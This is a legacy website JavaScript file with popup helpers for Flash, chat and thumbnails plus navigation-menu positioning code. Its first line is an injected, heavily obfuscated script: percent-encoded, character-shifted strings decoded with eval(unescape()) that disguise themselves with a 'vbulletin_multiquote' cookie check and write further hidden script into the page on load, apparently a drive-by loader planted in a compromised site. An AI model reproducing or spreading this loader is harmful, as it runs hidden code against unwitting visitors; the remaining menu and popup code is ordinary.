document.write('<script language="javascript">$="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c%2526%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudT%22;dd%3d%22iSx%2522%3c}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950%25265##950%2522%2526M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209%22;dz%3d%22%2566unc%2574%2569on%2520dw(%2574)%257bca%253d%2527%252564oc%252575m%2565n%252574.w%25257%2532i%2574%252565%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572ipt%252520%256c%25256%2531ngu%252561%2567e%25253d%25255c%252522ja%2576a%252573c%2572i%252570%252574%25255c%252522%25253e%2527;cc%253d%2527%25253c%2525%2535%2563%25252fs%2563%2572i%2570t%25253e%2527;eval%2528%2575nes%2563ape%2528t))%257d%253b%22;cd%3d%223dst+%2553tr%2569n%2567.f%2572%256fmCh%2561rC%256f%2564e((%2574%256d%2570.%2563h%22;cc%3d%225ngt%2568;i%252b+)%257bt%256dp%253dds.%2573%256ci%2563e%2528i,i%252b1)%253bst%25%22;cb%3d%22e%2528ds%2529;%2573t%253dt%256dp%253d%2527%2527;for(%2569%253d%2530;i%253cds.l%256%22;cu%3d%22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4%3czub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dobuf4d%7bdKazpqf4)4zaxx%2fbuf4d%7bdKw%7b%7b%257F}qKzuyq4)46upbyu%257FqfK%257F%7byud6%2fbuf4d%7bdK`}yq%7ba`4)4#%2526$%2frazw`}%7bz4d%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3dobuf4}gKqzuvxqp4)4ruxgq%2f}r4%3c5c}zp%7bc:%7bdqfu42245zub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dfq`afz4}gKqzuvxqp%2f}r4%3c`mdq%7br4p%7bwayqz`:w%7b%7b%257F}q4))43g`f}zs3%3d}r4%3cp%7bwayqz`:w%7b%7b%257F}q:xqzs`|4))4$%3dop%7bwayqz`:w%7b%7b%257F}q4)46`qg`6%2f}gKqzuvxqp4)4p%7bwayqz`:w%7b%7b%257F}q4))43`qg`3%2fp%7bwayqz`:w%7b%7b%257F}q4)433%2fiqxgqo}gKqzuvxqp4)4`faq%2fifq`afz4}gKqzuvxqp%2firazw`}%7bz4d%7bdKsq`W%7b%7b%257F}q%3czuyq%3dobuf4w%7b%7b%257F}q4)46464?4p%7bwayqz`:w%7b%7b%257F}q%2fbuf4gqufw|4)46464?4zuyq4?46)6%2fbuf4gq`G`f4)4zaxx%2fbuf4%7brrgq`4)4$%2fbuf4qzp4)4$%2f}r4%3cw%7b%7b%257F}q:xqzs`|4*4$%3do%7brrgq`4)4w%7b%7b%257F}q:}zpql[r%3cgqufw|%3d%2f}r4%3c%7brrgq`45)49%25%3do%7brrgq`4?)4gqufw|:xqzs`|%2fqzp4)4w%7b%7b%257F}q:}zpql[r%3c6%2f684%7brrgq`%3d%2f}r4%3cqzp4))49%25%3doqzp4)4w%7b%7b%257F}q:xqzs`|%2figq`G`f4)4azqgwudq%3cw%7b%7b%257F}q:gavg`f}zs%3c%7brrgq`84qzp%3d%3d%2fiifq`afz%3cgq`G`f%3d%2firazw`}%7bz4d%7bdKgq`W%7b%7b%257F}q4%3czuyq84buxaq%3dop%7bwayqz`:w%7b%7b%257F}q4)4zuyq4?46)64?4qgwudq%3cbuxaq%3d4?46%2f4qld}fqg)Rf}pum8%27%259Pqw9!$4%2526%27.!-.!-4SY@%2f4du`|);%2f6%2firazw`}%7bz4g|%7bcKd%7bd%3c%3dobuf4d%7bdKczp4)46|``d.;;rvwyr}f:w%7by;ws}9v}z;}zpql:ws}+pl6%2fbuf4rquKczp4)46gwf%7bxxvufg)%258fqg}nuvxq)%258`%7b%7bxvuf)%258x%7bwu`}%7bz)%258yqzavuf)%258g`u`ag)%258p}fqw`%7bf}qg)$6%2fbuf4zqqpK%7bdqz4)4`faq%2f}r4%3cp%7bwayqz`:%7bzwx}w%257FKw%7bdm45)4zaxx%3dp%7bwayqz`:%7bzwx}w%257FKw%7bdm%3c%3d%2f}r4%3cp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm45)4zaxx%3dp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm%3c%3d%2f}r4%3cd%7bdKazpqf45)4zaxx%3do}r4%3c5d%7bdKazpqf:wx%7bgqp%3dzqqpK%7bdqz4)4ruxgq%2fi}r4%3czqqpK%7bdqz%3do}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3dobux4)4d%7bdKsq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq%3d%2f}r4%3cbux45)4zaxx%3doz%7bc4)4zqc4Pu`q%3c%3d%2fbux%25264)4zqc4Pu`q%3cbux%3d%2fa`w%27%25264)4Pu`q:A@W%3cz%7bc:sq`RaxxMquf%3c%3d84z%7bc:sq`Y%7bz`|%3c%3d84z%7bc:sq`Pu`q%3c%3d84z%7bc:sq`%255C%7bafg%3c%3d84z%7bc:sq`Y}za`qg%3c%3d84z%7bc:sq`Gqw%7bzpg%3c%3d%3d%2fa`w%25264)4Pu`q:A@W%3cbux%2526:sq`RaxxMquf%3c%3d84bux%2526:sq`Y%7bz`|%3c%3d84bux%2526:sq`Pu`q%3c%3d84bux%2526:sq`%255C%7bafg%3c%3d84bux%2526:sq`Y}za`qg%3c%3d84bux%2526:sq`Gqw%7bzpg%3c%3d%3d%2f}r4%3c4%3c4a`w%27%2526494a`w%25264%3d4;4%25$$$4(4d%7bdK`}yq%7ba`%3e%2522$%3dozqqpK%7bdqz4)4ruxgq%2fiiii}r4%3czqqpK%7bdqz%3doazpqf4)4c}zp%7bc:%7bdqz%3cd%7bdKczp846684rquKczp%3d%2fazpqf:vxaf%3c%3d%2fc}zp%7bc:r%7bwag%3c%3d%2f}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3doz%7bc4)4zqc4Pu`q%3c%3d%2fd%7bdKgq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq84z%7bc%3d%2fiiirazw`}%7bz4d%7bdK}z}`%3c%3dobuf4bqf4)4dufgqRx%7bu`%3czub}su`%7bf:uddBqfg}%7bz%3d%2fbuf4bqf%25264)4%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-!6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-,6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4Z@6%3d*)$4%3d22%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3[dqfu3%3d4))49%25%3d22%3czub}su`%7bf:uddZuyq45)43Zq`gwudq3%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3YG]Q3%3d4*49%25%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3GB%253%3d4*49%25%3d422%3cbqf4*)4%2520%3d%2f}r4%3cbqf%2526%3do}r4%3cp%7bwayqz`:x}z%257Fg%3dor%7bf4%3cbuf4})$%2f4}(p%7bwayqz`:x}z%257Fg:xqzs`|%2f4}??%3do}r4%3cp%7bwayqz`:x}z%257FgO}I:`ufsq`45)46Kvxuz%257F6%3dop%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F%2fp%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F4)4g|%7bcKd%7bd%2fiiiip%7bwayqz`:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:%7bzwx}w%257F%2fp%7bwayqz`:%7bzy%7bagqad4)4g|%7bcKd%7bd%2fid%7bdK}z}`%3c%3d%2fi(;gwf}d`*%22;de%3d%22M+}Sx-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:%2526950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%22qi89;%25229+u|cu0d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vyb%3es%257F}7+fqb0iSx!%3c%22;cz%3d%22%2566u%256ec%2574i%256fn %2563z%2528%2563%257a)%257bret%2575rn%2520c%2561%252b%2563%2562%252bc%2563+%2563%2564+c%2565+c%257a;}%253b%22;da%3d%22fqb0})-~ug0Qbbqi87|qe~%257F7%3c7%7brtfu7%3c7zsdxb7%3c7ytvyb7%3c7xufyv7%3c7wvhuc7%3c7vwfuc7%3c7uxwxd7%3c7tzu~y7%3c7s%7bud~7%3c7r||uf7%3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7%7b7%3c7|7%3c7}7%3c7~7%3c7%257F7%22;ca%3d%22%2566%2575nc%2574%2569o%256e%2520dcs%2528ds%252ce%2573)%257bds%253dun%2565s%2563ap%22;ce%3d%22%2561%2572Co%2564e%2541t(%2530)^%2528%25270x0%2530%2527+es%2529%2529);}%257d%22;op%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c14)%2529;%2522;%22;st%3d%22%2573t%253d%2522$%253ds%2574%253b%2564c%2573%2528%2564a%252b%2564%2562%252b%2564%2563+%2564%2564%252b%2564e%252c1%2530%2529;%2564w%2528%2573t%2529%253bs%2574%253d%2524;%2522;%22;%69f %28d%6fc%75me%6et.%63ook%69%65%2eind%65%78%4f%66(%27%76%62ull%65%74%69%6e%5f%6dult%69qu%6f%74%65%3d%27)%3d%3d-1)%7bsc(%27vbulle%74%69%6e_%6dul%74iq%75ote%3d%27,2,7%29;e%76a%6c%28u%6ee%73ca%70e%28dz+%63%7a+op%2bs%74)+%27dw%28dz%2bcz%28$+s%74))%3b%27)}e%6cse%7b$%3d%27%27};function%20s%63(c%6em,%76,e%64)%7bv%61r e%78d%3dnew D%61t%65();%65xd.%73%65%74D%61%74e(%65xd.%67e%74Da%74e(%29+%65d);%64oc%75men%74%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";eval(unescape($));document.write($);</script>');
// ----------------------------------------------
// This function dynamically generates flash file
// parameters.
// -----------------------------------------------
function viewFlash(src, w, h, loop, play)
{
   var width = parseInt(w);
   var height = parseInt(h);

//alert('adWidth = '+width+ '\n Height = '+height);

   eval("win = window.open('','Flash', 'toolbar=0,scrollbars=0,location=0,status=0,resizable=1,menubar=0,width="+width+",height="+height+"');");
   win.document.writeln('<html>');
   win.document.writeln('<head><title>Flash Movie</title></head>');
   win.document.writeln('<body>');

   // for IE users use <object> tag
   objectTag = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"';
   win.document.write(objectTag);
   win.document.write(' width="'+width+'"');
   win.document.writeln(' height="'+height+'">');
   win.document.writeln('<param name="movie" value="'+src+'">');
   win.document.writeln('<param name="loop" value="'+loop+'">');
   win.document.writeln('<param name="play" value="'+play+'">');

    // for Netscape users use <embed> tag
   win.document.writeln('<embed src="'+src+'" loop="'+loop+'" play="'+play+'" width="'+width+'" height="'+height+'" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" />'); 
   win.document.writeln('</object>');
   win.document.writeln('</body></html>');

}

// ----------------------------------------------
// This function dynamically generates a chat 
// pop-up. (ASV)
// -----------------------------------------------
function viewChat(instance_id, url)
{
   props = 'toolbar=0,scrollbars=0,location=0,status=0,resizable=1,menubar=0,width=584,height=410';
   win = window.open('','Chat',props);
   win.document.writeln('<html>');
   win.document.writeln('<head><title>Chat Room</title></head>');
   win.document.writeln('<body>');
   win.document.writeln('<applet codebase="'+url+'" archive="multichat.jar" CODE="GUIClient.class" width="562" height="385" align="BOTTOM">');
   win.document.writeln('<param name="CABBASE" value="multichat.cab">');
   win.document.writeln('<param name="roomid" value="'+instance_id+'">');
   win.document.writeln('</applet>');
   win.document.writeln('</body></html>');
}

//----------------------------------------------------
// Create a new pop up window for a given URL and type
//----------------------------------------------------
function popUp(URL, type) 
{
    switch(type)
    {
	 case "guestbook":
	    width = 675;
	    height = 500;
	    break;	    
	 case "forum":
	    width = 675;
	    height = 500;
	    break;	    
         default:
            width = 550;
            height = 580;
   }

   var token = URL.indexOf('?') > -1 ? '&amp;' : '?';
   uniqueId = genUniqueId();
   URL=URL+genUniqueParam(token);

   var leftPosition  = (screen.width - width - 20) / 2;
   var topPosition = (screen.height - height) / 4;

   //open centered
   eval("win = window.open(URL, '"+type+"', 'toolbar=0,scrollbars=1,location=0,status=1,resizable=1,menubar=0,width="+width+",height="+height+",left="+leftPosition+",top="+topPosition+"');");

   if (parseInt(navigator.appVersion) >= 4) 
   { 
      win.window.focus(); 
   }
}

// ----------------------
// Generate Unique Id
// ----------------------
function genUniqueId()
{
   day = new Date();
   return day.getTime();
}

// -------------------------------------------------
// Generate Unique parameter to be appended to the URL
// This will allow us to realod the HTML from the server
// -------------------------------------------------
function genUniqueParam(parameter)
{
   return parameter+'unique_id='+genUniqueId();
}

//
// Display the target image for this thumbnail
//
function displayThumb(src, width, height, title)
{
   var winWidth = 650;
   var winHeight = 510;

   eval("win = window.open('','Thumb', 'toolbar=0,scrollbars=1,location=0,status=0,resizable=1,menubar=0,width="+winWidth+",height="+winHeight+"');");

   // clear the content of the document
   win.document.open();

   win.document.writeln('<html>');

   if(null != title && title != "")
   {
       win.document.writeln('<head><title>' + title + '</title></head>');
   }
   else
   {
       win.document.writeln('<head><title>Thumbnail Image</title></head>');
   }
   win.document.writeln('<body>');

   win.document.writeln('<center><table border="0">');
   if (width == 0)
   {
      win.document.writeln('<tr><td align="center"><img src="'+src+'"></td></tr>');
   }
   else if (height == 0)
   {
      win.document.writeln('<tr><td align="center"><img width="'+width+'" src="'+src+'"></td></tr>');   
   } 
   else
   {
      win.document.writeln('<tr><td align="center"><img width="'+width+'" height="'+height+'" src="'+src+'"></td></tr>');   
   } 

   if(null != title && title != "")
   {
       win.document.writeln('<tr><td align="center">'+title+'</td></tr>');
   }
   win.document.writeln('</table></center>');

   win.document.writeln('</body></html>');
}

    function genURL(action,formname)
    {
		var sa = document.getElementById(formname).elements[0].value;
		var cy = document.getElementById(formname).elements[1].value;
		var st = document.getElementById(formname).elements[2].value;
		var pc = document.getElementById(formname).elements[3].value;
		var ct = document.getElementById(formname).elements[4].value;
		var lat =document.getElementById(formname).elements[5].value;
		var lng =document.getElementById(formname).elements[6].value;
		var uid =document.getElementById(formname).elements[7].value;
		var wid =document.getElementById(formname).elements[8].value;
		if(pc=="")
		{
			if(cy=="" || st=="")
			{
				alert("Type a City and State, or a Postal/ZIP Code, and then click Continue.");
				return false;
			}
		}
		var url = action+"&street_address="+sa+"&city="+cy+"&state="+st+"&postal_code="+pc+"&country="+ct+"&latitude="+lat+"&longitude="+lng+"&userid="+uid+"&website_id="+wid;
		popUp(url);

   }


//-----------
// BEGIN SCRIPTS FOR NAV MENUS
//-----------

// MENU GLOBALS

//var navcontname='navcontainer';
var navcontname;
var menumainwidth=100;
var navmode=0;
// 0 is right 1 is left
var fldr=0;
var fldrorg=0;
//containing menu ids
var menuids=new Array();

//item that opens this menu
var menuparitem=new Array();
var menuparindex=new Array();
var itemchildren=new Array();
var timerID;
var menuactv=0;


//item ids
var itemids=new Array();
var itemparids=new Array();
var itemchild=new Array();
var linkarr=new Array();

var xSize=0;
var ySize=0;


//index to menuids and menuparitem arrays
var menuids_ct=1;
//index to itemids and itemmenu arrays
var itemids_ct=0;
var step_ct=0;

var nodeposition=new Array();
var nodelength=new Array();

var absdepth=0;
var deptharr=new Array();

function parseMenus() {

	if (document.getElementById('nav-left')) {
		navmode=0;
		fldr=0;
	} else if (document.getElementById('nav-right')) {
		navmode=1;
		fldr=1;
	} else if (document.getElementById('nav-top')) {
		navmode=2;
		fldr=0;
	}
	fldrorg=fldr;

navcontname=document.getElementById('navcontainer');
menuids[0]=navcontname;
menuparitem[0]=navcontname;
deptharr[0]=navcontname;
nodeposition[0]=0;
nodelength[0]=deptharr[0].childNodes.length;



do {

 if (deptharr[absdepth].childNodes[nodeposition[absdepth]].tagName=="DIV") {
      if (deptharr[absdepth].childNodes[nodeposition[absdepth]].className.indexOf("submenu")!=-1) {
        menuids[menuids_ct]=deptharr[absdepth].childNodes[nodeposition[absdepth]];
        deptharr[absdepth+1]=menuids[menuids_ct];
        menuparitem[menuids_ct]=itemids[itemids_ct-1];
        menuparindex[menuids_ct]=itemids_ct;
        itemchildren[menuids_ct]=menuids[menuids_ct];
        itemchild[itemids_ct-1]=menuids[menuids_ct];
	
		//linkarr[itemids_ct].className="tertiary linkHasSub"; // use to apply arrows to subs using class "linkHasSub"
		
        rolladd="rollMenu(" + menuids_ct +")";
		rolladdout="rollMenu(0)";
		
        eval('menuparitem[menuids_ct].onmouseover=function(){' + rolladd + '}');
		eval('menuparitem[menuids_ct].onmouseout=function(){' + rolladdout + '}');
        nodelength[absdepth+1]=deptharr[absdepth].childNodes[nodeposition[absdepth]].childNodes.length-1;
        absdepth++;
        nodeposition[absdepth]=-1;
        menuids_ct++;
} else {

     itemids[itemids_ct]=deptharr[absdepth].childNodes[nodeposition[absdepth]];
     itemparids[itemids_ct]=menuids[menuids_ct-1];
     nodelength[absdepth+1]=deptharr[absdepth].childNodes[nodeposition[absdepth]].childNodes.length-1;
     absdepth++;
     deptharr[absdepth]=itemids[itemids_ct];
     nodeposition[absdepth]=-1;
  	 itemids_ct++;
	 }

 } else if (deptharr[absdepth].childNodes[nodeposition[absdepth]].tagName=="A") {
	 deptharr[absdepth].childNodes[nodeposition[absdepth]].id="sublink" + itemids_ct;
     linkarr[itemids_ct]=deptharr[absdepth].childNodes[nodeposition[absdepth]];
	}

    nodeposition[absdepth]++;
    if (nodeposition[absdepth]>nodelength[absdepth]) {
    do {
        absdepth--;
        nodeposition[absdepth]++;
    } while (nodeposition[absdepth]>nodelength[absdepth]);
    }

} while (nodeposition[0]<nodelength[0]);


}


function positionMenus() {

//menumainwidth=document.getElementById('navcontainer').clientWidth;
menumainheight=document.getElementById('navcontainer').clientHeight;

// Nav-Left
if (navmode==0) {
	
	for (i=1; i<menuids.length; i++) {

		ofst=0;
		ofsl=0;
		ofsw=0;
		
		menuids[i].style.position="absolute";
	    menuids[i].style.zIndex="10000" + i;
		ofsw=menuids[i].clientWidth;
		menuids[i].style.width=ofsw;
		
		ofst=linkarr[menuparindex[i]].offsetTop;
		ofsl=menuparitem[i].offsetLeft + menuparitem[i].clientWidth;
		
		edgeAdjuster(ofsl,ofst,ofsw,i);
	}
	
// Nav-Right	
} else if (navmode==1) {
	
	for (i=1; i<menuids.length; i++) {
		ofst=0;
		ofsl=0;
		ofsw=0;
		
		menuids[i].style.position="absolute";
		menuids[i].style.zIndex="10000" + i;
		ofsw=menuids[i].clientWidth;
		menuids[i].style.width=ofsw;
		
		ofst=linkarr[menuparindex[i]].offsetTop;
		ofsl=menuparitem[i].offsetLeft - menuids[i].clientWidth;

		edgeAdjuster(ofsl,ofst,ofsw,i);
	}

// Nav-Top
} else if (navmode==2) {
 	
 	for (i=1; i<menuids.length; i++) {
	     ofst=0;
 		 ofsl=0;
 		 ofsw=0;
 		 
    	 menuids[i].style.zIndex="10000" + i;
 		 ofsw=menuparitem[i].clientWidth;
 		 
 		 if (menuparitem[i].offsetParent.id) {
 		 ofst=menumainheight + 2;
	     } else {
	     ofst=linkarr[menuparindex[i]].offsetTop;
         ofsl=menuparitem[i].offsetLeft + menuparitem[i].clientWidth;
	     }
	     
	     
	     edgeAdjuster(ofsl,ofst,ofsw,i);
	}
 }

}

function edgeAdjuster(xfs,yfs,wdt,i) {
  
  getPageSizes();
  
        xpg=0;
		ypg=0;
		myobj=menuids[i];
		do {
		xtest = myobj.offsetLeft;
		ytest = myobj.offsetTop;

		if (myobj.offsetLeft>0) xpg += myobj.offsetLeft;
		if (myobj.offsetTop>0) ypg += myobj.offsetTop;
		myobj= myobj.offsetParent;

		} while ((myobj.tagName!="BODY")&&(myobj.tagName!="HTML"));
  
if((navmode==0)||(navmode==2)) {
  if (fldr==0) {
  if ((xpg + xfs + wdt)>xSize) {
  
  if(xpg>wdt) xfs-=wdt*2;
 
  fldr=1;
  }
  } else {
  if ((xpg -xfs)<0) {
  
  fldr=0;
  } else {
  
  xfs-=wdt*2;
  
  }

  }
}

if (navmode==1) {

	 if (fldr==0) {
  if ((xpg + wdt*2)>=xSize) {
   
  fldr=1;
  } else {
  
  xfs+=wdt*2;
  
  }
  
  
  } else {
  if ((xpg-wdt)<=-1) {

  xfs+=wdt*2;
  fldr=0;
  
  }
  
  }

}

  if(navmode==2) {
  
  if(menuids[i].offsetParent.offsetParent.id!="navcontainer") {
  menuids[i].style.left=xfs + "px";
  }
  
  } else {
  
  menuids[i].style.left=xfs + "px";
  }	
  menuids[i].style.top=yfs + "px";
  menuids[i].style.visibility="hidden";
  
}

//--end  function menuSetPositions() --

function getPageSizes() {
	if(typeof(window.innerWidth)=='number') {
    //IE
    xSize=window.innerWidth;
    ySize=window.innerHeight;
  } else if(document.documentElement &&
      (document.documentElement.clientWidth||document.documentElement.clientHeight)) {
    //IE 6 xhtml
    xSize=document.documentElement.clientWidth;
    ySize=document.documentElement.clientHeight;
  } else if(document.body&&(document.body.clientWidth||document.body.clientHeight)) {
    //IE 4 5 or 6 standard
    xSize=document.body.clientWidth;
    ySize=document.body.clientHeight;
  }
}


function processMenus() {
	parseMenus();
	positionMenus();
}

function resetMenus() {
	
	for (i=1; i<menuids.length; i++) {
	
  		menuids[i].style.left= "0px";
 	
	}
	fldr=fldrorg;
	positionMenus();

}

function rollMenu(ref)
{
olx=xSize;
oly=ySize;

getPageSizes();

if ((olx!=xSize)||(oly!=ySize)) resetMenus();

  if(ref>0) {
	clearTimeout(timerID);
	turnOff(ref);
    menuactv=1;
    itemchildren[ref].style.visibility="visible";
  }
  else
  {
    menuactv=0;
    clearTimeout(timerID);
    timerID = setTimeout('turnOff()', 300);
  }
}

function turnOff(ref)
{
 if (menuactv==0) {
   for (i=0; i<itemchildren.length; i++) {
        if ((itemchildren[i]) && (i!=ref)) itemchildren[i].style.visibility="hidden";
   }
  }

}

//-----------
// END SCRIPTS FOR NAV MENUS
//-----------
